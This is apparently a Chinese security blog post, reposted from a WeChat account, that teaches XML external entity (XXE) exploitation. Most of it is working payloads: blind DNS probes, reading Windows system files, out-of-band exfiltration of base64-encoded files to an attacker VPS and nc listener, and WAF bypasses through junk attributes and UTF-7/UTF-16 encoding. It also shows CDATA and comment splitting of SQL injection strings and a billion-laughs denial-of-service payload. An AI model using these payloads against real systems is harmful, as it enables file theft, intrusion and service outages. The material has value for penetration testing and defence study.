https://mp.weixin.qq.com/s/Kr2o-sSnAkSoyKRpjjK2yg
https://www.anquanke.com/post/id/209826
一、简单介绍
当目标运行我们引用外部实体时,可通过构造恶意数据,执行任意文件读取,内网端口探测,攻击内网,甚至命令执行——安装了expect扩展。
例如 <!DOCTYPE NOTE //声明此文档为NOTE类型
<!DOCTYPE ANY //也可以为ANY
<!DOCTYPE ROOT//ROOT之类
二、基础的XXEpyaload
burp搜索XML看是否存在相关XML字段
或自己修改content-type为 application/xml Content-type: text/xml
1、盲探测
向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY Quan SYSTEM "http://6w3pkd.dnslog.cn">
]>
<root>&Quan;</root>
|
|
2、有回显的读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY file PUBLIC "data" "file:///c:/windows/win.ini">
]>
<user><username>&file;</username><password>xxxx</password></user>
注意看,此处有回显是因为把&file;引入到了username的地方,而username原本的地方就是有回显的。
3、无回显的读取文件
1、在VPS上创建文件xxe.dtd 内容为如下
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xx.156.10.245:22222?p=%file;'>">
2、开启端口python -m SimpleHTTPServer 11111
3、开启nc -lvvp 22222
4、在存在XXE漏洞的网站输入payload
5、发送post包如下
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://xx.156.10.245:11111/xxe.dtd">
%remote;%int;%send;
]>
发送可以成功读取ini文件
直接回显ini
三、bypass
开启一个环境,使用payload测试,只要能解析即可达到目的,这里的环境就不多说了,随意的XXE靶场即可
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://81.x.x.47:1234/d">
]>
<reset>
&ssrf;
</reset>
这是没有经过混淆的,success
1)垃圾数据bypasswaf
可以是这种没用的属性,也可以是很多空格,换行之类的
<?xml version="1.0" encoding="utf-8" xxxxxxxxxxxxxxxxxx a="adasdasddddddddddddddddddddddddddsxxxxxxxxdddddddddddddddddddddddddddddddddddd"
asdasdasdasd
?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://81.68.xx.xx:1234/lajishuju222">
]>
<reset>
&ssrf;
</reset>
2)字符编码绕过
iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件
UTF7
<?xml version="1.0" encoding="utf-7"?>
直接转换修改8为7,内容不用做任何改变
真正的utf7
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE note+AFs
+ADwAIQ-ENTITY ssrf SYSTEM +ACI-http://81.68.xx.xx:1234/utf777+ACIAPg
+AF0APg
+ADw-reset+AD4
+ACY-ssrf+ADs
+ADw-/reset+AD4
+ADw-a+AD4
+ADw-foo+AD4-foo1 foo2+ADw-/foo+AD4APA-foofoo/+AD4
+ADw-/a+AD4
ISO-8859-1
<?xml version="1.0" encoding="ISO-8859-1"?>
直接修改encoding也能解析
UTF16
UTF16会将每一个字符前面添加上00,因此如果你直接复制粘贴是不行的,需要使用burp的 paste file的功能
直接使用Linux进行转换即可iconv -f utf8 -t utf16 1.xml>exp.xml
这个测试暂时失败,也不知道哪里有了问题,我用的php环境
https://mohemiv.com/tags/xxe/
2)字符串逻辑分割Bypass
这里指的是XXE里面带有的字符串被拦截的情况
1、使用CDATA标签进行字符串分割:<![CDATA[o]]>
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
"uni<![CDATA[o]]>n select 1 -- -
</test>
</root>
2、注释分割:<!--foo-->
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
" uni<!--foo-->on select 1 -- -
</test>
</root>
3、PI标签分割<?foo1 foo2 ?>
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
" uni<?foo1 foo2 ?>on select 1 -- -
</test>
</root>
4、额外标签
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
" uni<foo>foo1 foo2</foo><foofoo/>on select 1 -- -
</test>
</root>
如下图所示
3)实体化编码
使用方法同上,当存在xml格式的sql注入Bypass类似情况
DOS测试
这个暂时没有测试成功
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
如果遇到XXE你想用更多的payload
可以看这个
https://github.com/payloadbox/xxe-injection-payload-list
如果觉得公众号看的比较费劲的话,可以关注进行阅读哦
https://www.yuque.com/iceqaq/ff6ffl/ohm9nl
原文始发于微信公众号(zz学安全):XXE的基本利用手法及绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论